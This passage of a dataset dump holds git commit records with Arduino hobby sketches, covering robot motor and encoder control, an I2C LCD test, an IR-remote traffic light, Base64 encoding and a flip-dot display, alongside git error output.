\/\/resetPololuTicks();\n digitalWrite(dir_right, LOW); \/\/Set motor direction, 1 low, 2 high\n digitalWrite(dir_left, LOW); \/\/Set motor direction, 3 high, 4 low\n \n float noOfTicksForDist = distCentimeter(dist);\n \n \/\/ ------ Distance to ticks formula ------- \/\/\n \/\/float noOfTicksPerCm = 2249\/(PI*6); \/\/ adjust 6\n \/\/float noOfTicksForDist = noOfTicksPerCm * dist;\n \/\/setPointMid = noOfTicksForDist;\n \/\/countTicksForAngleOrDist = true;\n float avgTicksForAngleOrDist = 0;\n \n long firstLeftCount = abs(PololuWheelEncoders::getCountsM1());\n long firstRightCount = abs(PololuWheelEncoders::getCountsM2());\n \n \/*delta_left = firstLeftCount -last_count_left;\n delta_right = firstRightCount-last_count_right;\n \n if (delta_left < 0 || delta_right < 0) {\n last_count_left = 0;\n last_count_right = 0;\n resetPololuTicks();\n }*\/\n \n while (avgTicksForAngleOrDist < noOfTicksForDist) {\n leftTicksForAngleOrDist = abs(PololuWheelEncoders::getCountsM1());\n leftTicksForAngleOrDist = leftTicksForAngleOrDist - firstLeftCount;\n \n rightTicksForAngleOrDist = abs(PololuWheelEncoders::getCountsM2());\n rightTicksForAngleOrDist = rightTicksForAngleOrDist - firstRightCount;\n \n avgTicksForAngleOrDist = (leftTicksForAngleOrDist + rightTicksForAngleOrDist) \/ 2;\n \n \/\/avgTicksForAngleOrDist = leftTicksForAngleOrDist;\n configureMotor();\n \n \/*if (currentTicks != 0) {\n avgTicksForAngleOrDist = currentTicks + ((leftTicksForAngleOrDist + rightTicksForAngleOrDist) \/ 2);\n }*\/\n \/\/leftPololuCount = abs(PololuWheelEncoders::getCountsM1()); \n \/\/rightPololuCount = abs(PololuWheelEncoders::getCountsM2()); \n \n \/* if((millis()-lastMilli) >= LOOPTIME){\n lastMilli = millis();\n \/\/leftMotorConfigure(); \n \/\/rightMotorConfigure();\n configureMotor();\n runMotor(pwm_left, pwm_right); \/\/Set both motors to run at 100% duty cycle (fast)\n }*\/\n }\n \/\/currentTicks = 0;\n\/\/ while (avgTicksForAngleOrDist < noOfTicksForDist) {\n\/\/ Serial.println(\"\");\n\/\/ avgTicksForAngleOrDist = (leftTicksForAngleOrDist + rightTicksForAngleOrDist) \/ 2;\n\/\/ }\n \n \/\/resetTicksForAngleOrDistance();\n \/\/setMotor = 0;\n \n\n digitalWrite(dir_left, HIGH); \/\/Set motor direction, 1 low, 2 high\n digitalWrite(dir_right, HIGH); \/\/Set motor direction, 3 high, 4 low\n delay(40);\n halt();\n \n \/\/if (pwm_left > pwm_right) {\n \/\/int ticksToCompensate = 50;\n \/\/digitalWrite(dir_left, HIGH); \/\/Set motor direction, 3 high, 4 low\n \/\/runMotor(0,100); \/\/ Right\n \/\/delay(30);\n \/\/}\n \n \/*else if (pwm_right > pwm_left) {\n digitalWrite(dir_right, HIGH); \/\/Set motor direction, 3 high, 4 low\n runMotor(100,0); \/\/ Right\n delay(30);\n }*\/\n \/\/pwm_left = 0;\n \/\/pwm_right = 0;\n \/\/digitalWrite(dir_left, LOW); \/\/Set motor direction, 3 high, 4 low\n \/\/delay(20);\n \/\/halt();\n\/\/ int ticksToCompensate = 50;\n\/\/ digitalWrite(dir_right, LOW); \/\/Set motor direction, 3 high, 4 low\n\/\/ runMotor(100,0); \/\/ Right\n\/\/ delay(70);\n \/\/halt();\n \/\/resetPololuTicks();\n \n \/\/if() {\n \/*int leftCount = abs(PololuWheelEncoders::getCountsM1());\n int rightCount = abs(PololuWheelEncoders::getCountsM2());\n Serial.print(\"left count =\");\n Serial.print(leftCount);\n Serial.print(\"\\t\");\n Serial.print(\"right count =\");\n Serial.println(rightCount);*\/\n \/\/}\n}\n\n\/\/ Turn right\nvoid turnRight(int angle) {\n resetPololuTicks();\n \/\/runMotor(maxSpeedA, maxSpeedB); \/\/Set both motors to run at 100% duty cycle (fast)\n digitalWrite(dir_right, HIGH); \/\/Set motor direction, 1 low, 2 high (right)\n digitalWrite(dir_left, LOW); \/\/Set motor direction, 3 high, 4 low (left)\n \n float noOfTicksForAngle = turnAngleR(angle);\n \n \/\/ ------ Angle to ticks formula ------- \/\/\n \/\/float noOfTicksPerCm = 2249\/(PI*6);\n \/\/float noOfCmPerDegreeForRightTurn = (PI*17.494)\/360; \/\/ adjust 17.2\n \/\/float totalCmForAngle = noOfCmPerDegreeForRightTurn * angle;\n \/\/float noOfTicksForAngle = noOfTicksPerCm * totalCmForAngle;\n \/\/360*(60\/172)\/2249\/2;\n \n \/\/countTicksForAngleOrDist = true;\n \n float avgTicksForAngleOrDist = 0;\n long firstLeftCount = abs(PololuWheelEncoders::getCountsM1());\n long firstRightCount = abs(PololuWheelEncoders::getCountsM2());\n \n while (avgTicksForAngleOrDist < noOfTicksForAngle) { \/\/noOfTicksForAngle - change to 'angle' for other formula\n leftTicksForAngleOrDist = abs(PololuWheelEncoders::getCountsM1());\n leftTicksForAngleOrDist = leftTicksForAngleOrDist - firstLeftCount;\n \n rightTicksForAngleOrDist = abs(PololuWheelEncoders::getCountsM2());\n rightTicksForAngleOrDist = rightTicksForAngleOrDist - firstRightCount;\n \n avgTicksForAngleOrDist = (leftTicksForAngleOrDist + rightTicksForAngleOrDist) \/ 2;\n \/\/avgTicksForAngleOrDist = (leftTicksForAngleOrDist + rightTicksForAngleOrDist) * 0.02795;\n configureMotor();\n }\n \n\/\/ while (avgTicksForAngleOrDist < noOfTicksForAngle) {\n\/\/ Serial.println(\"\");\n\/\/ avgTicksForAngleOrDist = (leftTicksForAngleOrDist + rightTicksForAngleOrDist) \/ 2;\n\/\/ }\n \n \/\/resetTicksForAngleOrDistance();\n \n digitalWrite(dir_right, LOW); \/\/Set motor direction, 1 low, 2 high\n digitalWrite(dir_left, HIGH); \/\/Set motor direction, 3 high, 4 low\n delay(40);\n halt();\n \/\/reverse(0.2);\n resetPololuTicks();\n}\n\n\/\/ Turn left\nvoid turnLeft(int angle) {\n resetPololuTicks();\n \/\/runMotor(maxSpeedA, maxSpeedB); \/\/Set both motors to run at 100% duty cycle (fast)\n digitalWrite(dir_right, LOW); \/\/Set motor direction, 1 low, 2 high\n digitalWrite(dir_left, HIGH); \/\/Set motor direction, 3 high, 4 low\n \/\/turnAngle(angle+1);\n \n float noOfTicksForAngle = turnAngle(angle);\n \/\/float noOfTicksPerCm = 2249\/(PI*6); \/\/ adjust 6\n \/\/float noOfCmPerDegreeForLeftTurn = (PI*17.494)\/360; \/\/ adjust 17.2\n \/\/float totalCmForAngle = noOfCmPerDegreeForLeftTurn * angle;\n \/\/float noOfTicksForAngle = noOfTicksPerCm * totalCmForAngle;\n \n \/\/countTicksForAngleOrDist = true;\n float avgTicksForAngleOrDist = 0;\n \n long firstLeftCount = abs(PololuWheelEncoders::getCountsM1());\n long firstRightCount = abs(PololuWheelEncoders::getCountsM2());\n \n while (avgTicksForAngleOrDist < noOfTicksForAngle) {\n leftTicksForAngleOrDist = abs(PololuWheelEncoders::getCountsM1());\n leftTicksForAngleOrDist = leftTicksForAngleOrDist - firstLeftCount;\n \n rightTicksForAngleOrDist = abs(PololuWheelEncoders::getCountsM2());\n rightTicksForAngleOrDist = rightTicksForAngleOrDist - firstRightCount;\n \n avgTicksForAngleOrDist = (leftTicksForAngleOrDist + rightTicksForAngleOrDist) \/ 2;\n configureMotor();\n }\n \n\/\/ while (avgTicksForAngleOrDist < noOfTicksForAngle) {\n\/\/ Serial.println(\"\");\n\/\/ avgTicksForAngleOrDist = (leftTicksForAngleOrDist + rightTicksForAngleOrDist) \/ 2;\n\/\/ }\n \n \/\/resetTicksForAngleOrDistance();\n \n digitalWrite(dir_right, HIGH); \/\/Set motor direction, 1 low, 2 high\n digitalWrite(dir_left, LOW); \/\/Set motor direction, 3 high, 4 low\n delay(40);\n halt();\n \/\/reverse(0.2);\n resetPololuTicks();\n}\n\n\/\/ Reverse backwards\nvoid reverse(float dist) {\n \/\/resetPololuTicks();\n runMotor(100, 100); \/\/Set both motors to run at 100% duty cycle (fast)\n digitalWrite(dir_right, HIGH); \/\/Set motor direction, 1 low, 2 high\n digitalWrite(dir_left, HIGH); \/\/Set motor direction, 3 high, 4 low\n delay(70);\n \n\/\/ float noOfTicksForDist = distCentimeter(dist);\n\/\/ \/\/countTicksForAngleOrDist = true;\n\/\/ float avgTicksForAngleOrDist = 0;\n\/\/ \n\/\/ int firstLeftCount = abs(PololuWheelEncoders::getCountsM1());\n\/\/ int firstRightCount = abs(PololuWheelEncoders::getCountsM2());\n\/\/ \n\/\/ while (avgTicksForAngleOrDist < noOfTicksForDist) {\n\/\/ leftTicksForAngleOrDist = abs(PololuWheelEncoders::getCountsM1());\n\/\/ leftTicksForAngleOrDist = leftTicksForAngleOrDist - firstLeftCount;\n\/\/ \n\/\/ rightTicksForAngleOrDist = abs(PololuWheelEncoders::getCountsM2());\n\/\/ rightTicksForAngleOrDist = rightTicksForAngleOrDist - firstRightCount;\n\/\/ \n\/\/ avgTicksForAngleOrDist = (leftTicksForAngleOrDist + rightTicksForAngleOrDist) \/ 2;\n\/\/ }\n\/\/ \n\/\/ while (avgTicksForAngleOrDist < noOfTicksForDist) {\n\/\/ Serial.println(\"\");\n\/\/ avgTicksForAngleOrDist = (leftTicksForAngleOrDist + rightTicksForAngleOrDist) \/ 2;\n\/\/ }\n \n \/\/resetTicksForAngleOrDistance();\n \n digitalWrite(dir_right, LOW); \/\/Set motor direction, 1 low, 2 high\n digitalWrite(dir_left, LOW); \/\/Set motor direction, 3 high, 4 low\n delay(30);\n halt();\n \/\/resetPololuTicks();\n}\n\n\/\/ Stop movement\nvoid halt() \n{ \n analogWrite(pwm_right, 0);\n analogWrite(pwm_left, 0);\n delay(100);\n \/\/resetPololuTicks();\n}\n\nfloat middleSensorDistanceMeasuredInCM(int middleSensor) {\n \/\/float volts = middleSensor * 0.0050528125; \/\/ worked out from graph 65 = theoretical distance \/ (1\/Volts)S - luckylarry.co.uk\n \/\/float distance = 65 * pow(volts, -1.10);\n \/\/return distance;\n \n float distance = (6762 \/ (middleSensor - 9)) - 4;\n return distance;\n}\n\nfloat leftSensorDistanceMeasuredInCM(int leftSensor) {\n float distance = (6762 \/ (leftSensor - 9)) - 4;\n return distance;\n}\n\nfloat rightSensorDistanceMeasuredInCM(int rightSensor) {\n float distance = (6762 \/ (rightSensor - 9)) - 4;\n return distance;\n}\nfloat bottomSensorDistanceMeasuredInCM(int btmSensor) {\n float distance = (6762 \/ (btmSensor - 9)) - 4;\n return distance;\n}\n\n\/\/ Servo Turn\nvoid servoTurn(int angle) {\n if(angle>=0 && angle<5){\n myServo.write(179);\n }\n else if(angle>=5 && angle<15){\n myServo.write(168.5);\n }\n else if(angle>=15 && angle<25){\n myServo.write(158);\n }\n else if(angle>=25 && angle<35){\n myServo.write(147.5);\n }\n else if(angle>=35 && angle<45){\n myServo.write(137);\n }\n else if(angle>=45 && angle<55){\n myServo.write(126.5);\n }\n else if(angle>=55 && angle<65){\n myServo.write(116);\n }\n else if(angle>=65 && angle<75){\n myServo.write(105.5);\n }\n else if(angle>=75 && angle<85){\n myServo.write(95);\n }\n else if(angle>=85 && angle<95){\n myServo.write(83);\n } \n else if(angle>=95 && angle<105){\n myServo.write(73.6);\n }\n else if(angle>=105 && angle<115){\n myServo.write(64.4);\n }\n else if(angle>=115 && angle<125){\n myServo.write(55.2);\n }\n else if(angle>=125 && angle<135){\n myServo.write(46);\n }\n else if(angle>=135 && angle<145){\n myServo.write(36.8);\n }\n else if(angle>=145 && angle<155){\n myServo.write(27.6);\n }\n else if(angle>=155 && angle<165){\n myServo.write(18.4);\n }\n else if(angle>=165 && angle<175){\n myServo.write(9.2);\n }\n else if(angle>=175 && angle<=180){\n myServo.write(0);\n }\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_motor\/arduino_motor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cb1f8c973d11b66d62d3dc859acc1788c1f401b0","subject":"Update Arduino","message":"Update Arduino\n","repos":"WestwoodRobotics\/BEST-2014","old_file":"display\/VillageArduino.ino","new_file":"display\/VillageArduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/WestwoodRobotics\/BEST-2014.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9aa125ba33214fc2c74880170bc7cce0842f2699","subject":"after test OK","message":"after test OK\n","repos":"thjm\/Sketches,thjm\/Sketches,thjm\/Sketches","old_file":"LCDtest\/LCDtest.ino","new_file":"LCDtest\/LCDtest.ino","new_contents":"\n\/\/\n\/\/ Test code for LCM1602 I2C-LCD interface module used in the 4m Transverter\n\/\/\n\/\/ It uses a variant for PCF8574 I2C extender chips:\n\/\/ http:\/\/playground.arduino.cc\/Code\/LCDi2c\n\/\/\n\/\/ see also: Sketchbook\/Display\/LCM1602test\n\/\/\n\/\/ $Id$\n\/\/\n\n#include <Wire.h>\n#include <LiquidCrystal_I2C.h>\n\n\/\/ set the LCD address to 0x27 for a 20 chars and 2 line display\nLiquidCrystal_I2C lcd(0x27,20,2);\n\nvoid setup() {\n\n lcd.init();\n lcd.backlight();\n lcd.setCursor(0, 0);\n lcd.print(\"LCM1602 test ...\");\n lcd.setCursor(0, 1);\n lcd.print(\"Voltage: \");\n lcd.setCursor(13, 1);\n lcd.print(\"V\");\n}\n\nvoid loop() {\n\n int val;\n float temp;\n \n val = analogRead(0);\n temp = val\/4.092;\n val = (int)temp;\n \n lcd.setCursor(9, 1);\n lcd.print((uint8_t)(0x30+val\/100));\n lcd.print((uint8_t)(0x30+(val%100)\/10));\n lcd.print('.');\n lcd.print((uint8_t)(0x30+val%10));\n\n delay(100);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LCDtest\/LCDtest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e057c5ee394e738dfb399b4951c3da0aec3ac9a1","subject":"Removed unneeded include.","message":"Removed unneeded include.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5645d3adb7dec03077ecbd0ef852a05a77310ae6","subject":"ino sketch","message":"ino sketch\n","repos":"alessandro-aglietti\/smart-cot","old_file":"arduino-test\/led_on\/led_on.ino","new_file":"arduino-test\/led_on\/led_on.ino","new_contents":"#include \"variant.h\"\n#include <stdio.h>\n#include <adk.h>\n\n#define LED_PIN 13\n\n\/\/ Accessory descriptor. It's how Arduino identifies itself to Android.\nchar descriptionName[] = \"ArduinoADK_2\"; \nchar modelName[] = \"UDOO_ADK\"; \/\/ your Arduino Accessory name (Need to be the same defined in the Android App)\nchar manufacturerName[] = \"Aidilab\"; \/\/ manufacturer (Need to be the same defined in the Android App)\n\n\/\/ Make up anything you want for these\nchar versionNumber[] = \"1.0\"; \/\/ version (Need to be the same defined in the Android App)\nchar serialNumber[] = \"1\";\nchar url[] = \"http:\/\/www.udoo.org\"; \/\/ If there isn't any compatible app installed, Android suggest to visit this url\n\nUSBHost Usb;\nADK adk(&Usb, manufacturerName, modelName, descriptionName, versionNumber, url, serialNumber);\n\n#define RCVSIZE 128\nuint8_t buf[RCVSIZE];\nuint32_t bytesRead = 0;\n\nvoid setup()\n{\n Serial.begin(115200); \n pinMode(LED_PIN, OUTPUT);\n delay(500);\n Serial.println(\"UDOO ADK demo start...\");\n}\n\nvoid loop()\n{\n Usb.Task();\n \n if (adk.isReady()) {\n adk.read(&bytesRead, RCVSIZE, buf);\/\/ read data into buf variable\n if (bytesRead > 0) {\n if (parseCommand(buf[0]) == 1) {\/\/ compare received data\n \/\/ Received \"1\" - turn on LED\n digitalWrite(LED_PIN, HIGH);\n } else if (parseCommand(buf[0]) == 0) {\n \/\/ Received \"0\" - turn off LED\n digitalWrite(LED_PIN, LOW); \n } \n }\n } else {\n digitalWrite(LED_PIN , LOW); \/\/ turn off light\n } \n \n delay(10);\n}\n\n\/\/ the characters sent to Arduino are interpreted as ASCII, we decrease 48 to return to ASCII range.\nuint8_t parseCommand(uint8_t received) {\n return received - 48;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-test\/led_on\/led_on.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"a32489765dfcaf6af479bafa93e686ee31ee3e24","subject":"adding arduino code","message":"adding arduino code\n","repos":"clairew\/parkingspaces,clairew\/parkingspaces,clairew\/parkingspaces","old_file":"arduino code\/GestureTest\/GestureTest.ino","new_file":"arduino code\/GestureTest\/GestureTest.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'code\/GestureTest\/GestureTest.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a12559ce1984d52311d00d47b531fbc96c926274","subject":"Added basic sketch of traffic light that is controlled by a remote using IR.","message":"Added basic sketch of traffic light that is controlled by a remote using IR.\n","repos":"arahlf\/TrafficLight","old_file":"arduino\/trafficLightRemote\/trafficLightRemote.ino","new_file":"arduino\/trafficLightRemote\/trafficLightRemote.ino","new_contents":"#include <IRremote.h>\n\nconst unsigned long LIGHT_RED_KEY = 0xFFA25D;\nconst unsigned long LIGHT_YELLOW_KEY = 0xFF629D;\nconst unsigned long LIGHT_GREEN_KEY = 0xFFE21D;\nconst unsigned long FLASH_RED_KEY = 0xFF22DD;\nconst unsigned long FLASH_YELLOW_KEY = 0xFF02FD;\nconst unsigned long FLASH_GREEN_KEY = 0xFFC23D;\nconst unsigned long LIGHTS_OFF_KEY = 0xFFE01F;\n\nconst int IR_PIN = 7;\nIRrecv irrecv(IR_PIN);\ndecode_results results;\n\nconst int RED_PIN = 4;\nconst int YELLOW_PIN = 3;\nconst int GREEN_PIN = 2;\n\nconst int VOID_PIN= -1;\n\nconst int pins[] = { RED_PIN, YELLOW_PIN, GREEN_PIN };\nconst int pinCount = sizeof(pins) \/ sizeof(int);\n\nint flashingPin = VOID_PIN;\nboolean flashingHigh;\nconst unsigned long flashDuration = 750;\nunsigned long flashStartTime;\nunsigned long lastKeyValue;\n\nvoid setup(){\n Serial.begin(9600);\n irrecv.enableIRIn();\n \n pinMode(RED_PIN, OUTPUT);\n pinMode(YELLOW_PIN, OUTPUT);\n pinMode(GREEN_PIN, OUTPUT);\n}\n\nvoid loop() {\n \n if (flashingPin != VOID_PIN) {\n if ((millis() - flashStartTime) >= flashDuration) {\n flashingHigh = !flashingHigh;\n flashStartTime = millis();\n \n digitalWrite(flashingPin, flashingHigh);\n }\n }\n\n if (irrecv.decode(&results)) {\n\n Serial.println(results.value, HEX);\n\n unsigned long keyValue = results.value;\n \n if (keyValue == lastKeyValue || keyValue == REPEAT) {\n irrecv.resume();\n return;\n }\n else {\n lastKeyValue = keyValue;\n }\n\n if (keyValue == LIGHT_RED_KEY) {\n lightPinExclusive(RED_PIN);\n }\n else if (keyValue == LIGHT_YELLOW_KEY) {\n lightPinExclusive(YELLOW_PIN);\n }\n else if (keyValue == LIGHT_GREEN_KEY) {\n lightPinExclusive(GREEN_PIN);\n }\n else if (keyValue == FLASH_RED_KEY) {\n flashPinExclusive(RED_PIN);\n }\n else if (keyValue == FLASH_YELLOW_KEY) {\n flashPinExclusive(YELLOW_PIN);\n }\n else if (keyValue == FLASH_GREEN_KEY) {\n flashPinExclusive(GREEN_PIN);\n }\n else if (keyValue == LIGHTS_OFF_KEY) {\n lightPinExclusive(VOID_PIN);\n }\n\n irrecv.resume();\n }\n}\n\nvoid lightPinExclusive(int pin) {\n flashingPin = VOID_PIN;\n \n for (int i = 0; i < pinCount; i++) {\n digitalWrite(pins[i], pins[i] == pin ? HIGH : LOW);\n }\n}\n\nvoid flashPinExclusive(int pin) {\n lightPinExclusive(pin);\n \n flashingPin = pin;\n flashingHigh = true;\n flashStartTime = millis();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/trafficLightRemote\/trafficLightRemote.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a81327db0cefbc527abc1b04deba4464674efe18","subject":"Update Sensor-rcv-ucg. Still not working.","message":"Update Sensor-rcv-ucg. Still not working.\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"Sensor-rcv-ucg\/Sensor-rcv-ucg.ino","new_file":"Sensor-rcv-ucg\/Sensor-rcv-ucg.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"34da0da97acd618620e0da402bfea4520add9bf3","subject":"Writer now initializes cards","message":"Writer now initializes cards\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/writer_test\/writer_test.ino","new_file":"unit tests\/writer_test\/writer_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/writer_test\/writer_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"87cf3a361b7131113cb6bc76839ebec91adefb9b","subject":"Beginning integration with front desk","message":"Beginning integration with front desk\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"Documentation\/unit tests\/ciao_test\/ciao_test.ino","new_file":"Documentation\/unit tests\/ciao_test\/ciao_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Documentation\/unit' did not match any file(s) known to git\nerror: pathspec 'tests\/ciao_test\/ciao_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"74d89266ed6244ba3fb711943ad161ef48e31ea6","subject":"Adding a basic encode\/decode example","message":"Adding a basic encode\/decode example","repos":"HappyYang\/arduino-base64,HappyYang\/arduino-base64,e-lin\/arduino-base64,CanTireInnovations\/arduino-base64,adamvr\/arduino-base64,e-lin\/arduino-base64,adamvr\/arduino-base64,YellowOrb\/arduino-base64,CanTireInnovations\/arduino-base64,YellowOrb\/arduino-base64","old_file":"examples\/base64\/base64.ino","new_file":"examples\/base64\/base64.ino","new_contents":"#include <Base64.h>\n\n\/*\n Base64 Encode\/Decode example\n \n Encodes the text \"Hello world\" to \"SGVsbG8gd29ybGQA\" and decodes \"Zm9vYmFy\" to \"foobar\"\n\n Created 29 April 2015\n by Nathan Friedly - http:\/\/nfriedly.com\/\n \n This example code is in the public domain.\n\n *\/\n\n\nvoid setup()\n{\n \/\/ start serial port at 9600 bps:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n \n Serial.println(\"Base64 example\");\n \n \n \n \/\/ encoding\n char input[] = \"Hello world\";\n int inputLen = sizeof(input);\n \n int encodedLen = base64_enc_len(inputLen);\n char encoded[encodedLen];\n \n Serial.print(input); Serial.print(\" = \");\n \n \/\/ note input is consumed in this step: it will be empty afterwards\n base64_encode(encoded, input, inputLen); \n \n Serial.println(encoded);\n \n \n \n \/\/ decoding\n char input2[] = \"Zm9vYmFy\";\n int input2Len = sizeof(input2);\n \n int decodedLen = base64_dec_len(input2, input2Len);\n char decoded[decodedLen];\n \n base64_decode(decoded, input2, input2Len);\n \n Serial.print(input2); Serial.print(\" = \"); Serial.println(decoded);\n}\n\n\nvoid loop()\n{\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/base64\/base64.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"86ac420afeff46c911d88958a40bc96fc7b7c4db","subject":"initial example","message":"initial example","repos":"gokselpirnal\/arduino-terminal-command","old_file":"blink_example.ino","new_file":"blink_example.ino","new_contents":"#include <SoftwareSerial.h>\n\ntypedef void (*func) (String cmd);\nextern func functions[];\n\nSoftwareSerial bt(9, 10); \/\/ (tx,rx)\nconst int LED1 = 8; \/\/ led pin\n\n\/\/ key value struct\nstruct key_func {\n String key;\n func fn;\n};\n\n\/\/ function declerations\nint getIntParam(String, String, int);\nboolean isExistParam(String, String);\nvoid blink(String);\nvoid listenBluetooth();\nvoid listenSerial();\n\n\/\/ commands array\nkey_func func_map[1];\n\nvoid setup() {\n bt.begin(9600);\n Serial.begin(19200);\n pinMode(LED1, OUTPUT);\n\n \/\/ key and function name must be same\n func_map[0].key = \"blink\"; \/\/ command name\n func_map[0].fn = blink; \/\/ command function\n\n}\n\nString bluetoothData = \"\";\nString serialData = \"\";\n\nvoid loop() {\n \/\/ blink -t 20 -i 100 -a \n listenBluetooth();\n \/\/ blink -t 20 -i 100 -a\n listenSerial();\n}\n\n\nvoid listenBluetooth(){\n while (bt.available() > 0) {\n char chr = bt.read();\n if (chr != '\\n') bluetoothData.concat(chr);\n if (chr == '\\n') {\n for (int i = 0; i < sizeof func_map \/ sizeof func_map[0]; i++) {\n if (bluetoothData.startsWith(func_map[i].key)) {\n func_map[i].fn(bluetoothData);\n }\n }\n bluetoothData = \"\";\n }\n }\n}\n\nvoid listenSerial(){\n while (Serial.available() > 0) {\n char chr = Serial.read();\n if (chr != '\\n') serialData.concat(chr);\n if (chr == '\\n') {\n for (int i = 0; i < sizeof func_map \/ sizeof func_map[0]; i++) {\n if (serialData.startsWith(func_map[i].key)) {\n func_map[i].fn(serialData);\n }\n }\n serialData = \"\";\n }\n }\n}\n\n\nvoid blink(String cmd) {\n String paramsStr = cmd.substring(sizeof __func__ \/ sizeof __func__[0]);\n\n int times = getIntParam(\"-t\", paramsStr, 10);\n int interval = getIntParam(\"-i\", paramsStr, 250);\n\n for (int i = 0; i < times ; i++) {\n digitalWrite(LED1, HIGH);\n delay(interval);\n digitalWrite(LED1, LOW);\n delay(interval);\n }\n\n if (isExistParam(\"-a\", paramsStr)) {\n digitalWrite(LED1, HIGH);\n } else {\n digitalWrite(LED1, LOW);\n }\n\n}\n\nint getIntParam(String param_name, String params, int default_value) {\n int position = params.indexOf(param_name);\n\n if (position > -1) {\n return params.substring(position + param_name.length() + 1, params.indexOf(' ', position + param_name.length() + 1)).toInt();\n }\n return default_value;\n}\n\nboolean isExistParam(String param_name, String params) {\n return params.indexOf(param_name) > -1;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'blink_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1ae3903e3e4c446f0f4d62b1fdca5ca9e3f7f6f0","subject":"Test Flip-Dot library","message":"Test Flip-Dot library\n","repos":"cazacov\/Arduino,cazacov\/Arduino","old_file":"uno\/FlipDot\/FlipDot.ino","new_file":"uno\/FlipDot\/FlipDot.ino","new_contents":"#include \"wwFlipdotPar.h\"\n\n\/\/ ===========================================================================================\nvoid setup() {\n dotSetup( 8, 21, 1, 19, 0); \/\/19x21\n dotPowerOn(); \/\/schaltet den DC\/DC Wandler f\u00fcr die Flipspannung ein\n delay(50); \/\/kurze Wartezeit, um den Spannungswandler auf Touren kommen zu lassen\n resetAll(5); \/\/l\u00f6sche alle Dots mit 5 ms Verz\u00f6gerung\n}\n\/\/ ===========================================================================================\nvoid loop() {\n drawSmile(4, 3);\n\n while(true);\n}\n\/\/ ===========================================================================================\n\nvoid drawSmile(uint8_t x0, uint8_t y0)\n{\n for (uint8_t x = 1; x <= 21; x++)\n for (uint8_t y = 1; y <= 19; y++)\n {\n setDot(x, y);\n delay(20);\n }\n\n resetDot(x0, y0+5); \n resetDot(x0, y0+6);\n resetDot(x0, y0+7);\n resetDot(x0, y0+8); \n resetDot(x0, y0+9); \n\n resetDot(x0+1, y0+3); \n resetDot(x0+1, y0+4);\n resetDot(x0+1, y0+5);\n resetDot(x0+1, y0+10); \n resetDot(x0+1, y0+11); \n\n resetDot(x0+2, y0+2); \n resetDot(x0+2, y0+5);\n resetDot(x0+2, y0+6);\n resetDot(x0+2, y0+7); \n resetDot(x0+2, y0+12); \n\n resetDot(x0+3, y0+1); \n resetDot(x0+3, y0+5);\n resetDot(x0+3, y0+8);\n resetDot(x0+3, y0+13); \n\n resetDot(x0+4, y0+1); \n resetDot(x0+4, y0+5);\n resetDot(x0+4, y0+7);\n resetDot(x0+4, y0+8); \n resetDot(x0+4, y0+13); \n\n resetDot(x0+5, y0); \n resetDot(x0+5, y0+5);\n resetDot(x0+5, y0+6);\n resetDot(x0+5, y0+7); \n resetDot(x0+5, y0+8); \n resetDot(x0+5, y0+14); \n\n resetDot(x0+6, y0); \n resetDot(x0+6, y0+5);\n resetDot(x0+6, y0+6);\n resetDot(x0+6, y0+7); \n resetDot(x0+6, y0+11); \n resetDot(x0+6, y0+14); \n\n resetDot(x0+7, y0); \n resetDot(x0+7, y0+5);\n resetDot(x0+7, y0+6);\n resetDot(x0+7, 